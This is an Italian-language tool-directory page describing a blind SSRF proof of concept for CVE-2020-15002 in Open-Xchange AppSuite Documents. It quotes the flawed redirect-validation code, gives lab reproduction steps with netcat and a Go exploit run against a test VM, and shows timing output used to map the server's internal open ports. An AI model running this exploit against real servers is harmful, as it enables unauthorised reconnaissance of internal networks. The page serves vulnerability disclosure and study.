Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Blind-SSRF-CVE-2020-15002 — https://hackerone.com/reports/865652 | Kitploit
Strumenti/GitHubGitHub/skr0x1c0/blind-ssrf-cve-2020-15002
RicognizioneScansione PorteAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni Web
GitHubskr0x1c0/blind-ssrf-cve-2020-15002

Blind-SSRF-CVE-2020-15002

https://hackerone.com/reports/865652

Vedi Repository
5 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Sommario

La logica in AddFileAction.getImageDataFromUrl per il recupero di immagini da URL esterni durante la gestione di /appsuite/api/oxodocumentfilter&action=addfile, implementata qui, valida gli URL reindirizzati solo dopo aver seguito tutti i redirect

root@kitploit:~
response = httpClient.execute(getRequest, context);

int statusCode = response.getStatusLine().getStatusCode();
if (statusCode == HttpStatus.SC_OK) {
    List<URI> locations = context.getRedirectLocations();
    if (locations != null) {
        for (URI uri : locations) {
            try {
                Optional<OXException> oxException = validator.apply(uri.toURL());
                if (oxException.isPresent()) {
                    throw (RESTException) oxException.get().getCause();
                }
            } catch (MalformedURLException e) {
                throw new RESTException(ErrorCode.GENERAL_ARGUMENTS_ERROR, e);
            }
        };
    }
    long length = response.getEntity().getContentLength();
    ...
}

Questa funzionalità può essere sfruttata da un attaccante per eseguire attacchi SSRF ciechi.

Passaggi per la riproduzione

  1. Installare Open-Xchange e Documents in una macchina virtuale seguendo le guide https://oxpedia.org/wiki/index.php?title=AppSuite:Open-Xchange_Installation_Guide_for_Debian_9.0 e https://oxpedia.org/wiki/index.php?title=AppSuite:Documents_Installation_Guide#Debian_GNU.2FLinux_9.0_.28valid_from_v7.10.29
  2. All'interno della VM eseguire il seguente comando per far ascoltare netcat su 127.0.0.1:7070
    root@kitploit:~
    nc -l 127.0.0.1 -p 7070
    
  3. Sulla macchina host, installare golang da https://golang.org/dl/
  4. Scaricare ed estrarre il file poc.zip
  5. Aprire il terminale / la riga di comando e impostare la directory corrente sulla cartella del file poc.zip estratto
  6. Eseguire il comando
    root@kitploit:~
    go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret"
    
    dove
    • redirectorAddress: l'indirizzo IP e la porta a cui il server redirector deve essere associato. Questo indirizzo IP deve essere accessibile dalla VM
    • targetPorts: la porta all'interno della VM su cui netcat è in ascolto
    • serverRoot: l'URL base del server open-xchange
    • serverUser: il nome utente di un qualsiasi utente del server open-xchange
    • serverPass: la password dell'utente del server open-xchange

L'esecuzione del comando precedente mostrerà il seguente output in netcat

root@kitploit:~
GET /image.png HTTP/1.1
Accept: *
Accept-Encoding: gzip
Host: 127.0.0.1:7070
Connection: Keep-Alive
User-Agent: Open-Xchange Image Url Data Fetcher

Impatto

Poiché si tratta di un SSRF cieco, non è possibile leggere la risposta delle richieste HTTP. Tuttavia questa vulnerabilità può essere usata per attività di ricognizione.

Esempio: scansione delle porte misurando il tempo di risposta

Per eseguire una scansione delle porte 7070,61616,8004,80,22,25,8080,3125 sulla rete locale del server, eseguire il seguente comando

root@kitploit:~
go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070,61616,8004,80,22,8080,3125" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret" -numSamples=20

Output:

root@kitploit:~
2020/05/04 13:32:42 7070: 2.220000
2020/05/04 13:32:42 61616: 3567.000000
2020/05/04 13:32:42 8004: 2.980000
2020/05/04 13:32:42 80: 3.180000
2020/05/04 13:32:42 22: 34.600000
2020/05/04 13:32:42 25: 2169.333333
2020/05/04 13:32:42 8080: 2.560000
2020/05/04 13:32:42 3125: 3.000000

Possiamo usare lsof per vedere le porte aperte all'interno della VM

root@kitploit:~
sudo lsof -nP -iTCP -sTCP:LISTEN

Output:

root@kitploit:~
COMMAND  PID         USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java     467 open-xchange   15u  IPv6  13049      0t0  TCP 172.16.66.130:9994 (LISTEN)
java     467 open-xchange   16u  IPv6  15970      0t0  TCP *:42319 (LISTEN)
java     467 open-xchange   24u  IPv6  14136      0t0  TCP 127.0.0.1:61616 (LISTEN)
java     467 open-xchange   33u  IPv6  16419      0t0  TCP *:8004 (LISTEN)
java     489 open-xchange   37u  IPv6  14138      0t0  TCP 127.0.0.1:9999 (LISTEN)
java     489 open-xchange   42u  IPv6  17565      0t0  TCP 127.0.0.1:1099 (LISTEN)
java     489 open-xchange   47u  IPv6  14144      0t0  TCP 127.0.0.1:5701 (LISTEN)
java     489 open-xchange  127u  IPv6  15345      0t0  TCP *:36149 (LISTEN)
java     489 open-xchange  144u  IPv6  17559      0t0  TCP 127.0.0.1:8009 (LISTEN)
apache2  526         root    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  527     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  528     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
mysqld   695        mysql   26u  IPv4  13847      0t0  TCP 127.0.0.1:3306 (LISTEN)
exim4   1077  Debian-exim    3u  IPv4  13115      0t0  TCP 127.0.0.1:25 (LISTEN)
exim4   1077  Debian-exim    4u  IPv6  13116      0t0  TCP [::1]:25 (LISTEN)
sshd    1345         root    3u  IPv4  14259      0t0  TCP 172.16.66.130:22 (LISTEN)
sshd    1345         root    4u  IPv4  14261      0t0  TCP 127.0.0.1:22 (LISTEN)

Dagli output precedenti si possono fare le seguenti osservazioni:

  • Come possiamo vedere, per le porte chiuse 7070, 8080 e 3125, i tempi di risposta sono bassi (~ meno di 3 ms)
  • Per le porte aperte, a seconda del tipo di connessione in ascolto, il tempo di risposta varia
    • Per ssh (porta 22) il tempo di risposta è ~34 ms
    • Per exim (porta 25) il tempo di risposta è ~2170 ms
    • Per ActiveMQ (porta 61616) il tempo di risposta è ~3567 ms
    • Per http (porte 80 e 8004) il tempo di risposta è ~3 ms (questo tipo è difficile da distinguere dalle porte chiuse)

Quindi un attaccante può usare questa vulnerabilità per rilevare la maggior parte delle porte aperte e può usare il tempo di risposta per rilevare il tipo di connessione (ssh / exim / activemq, ecc.)

Scarica lo strumento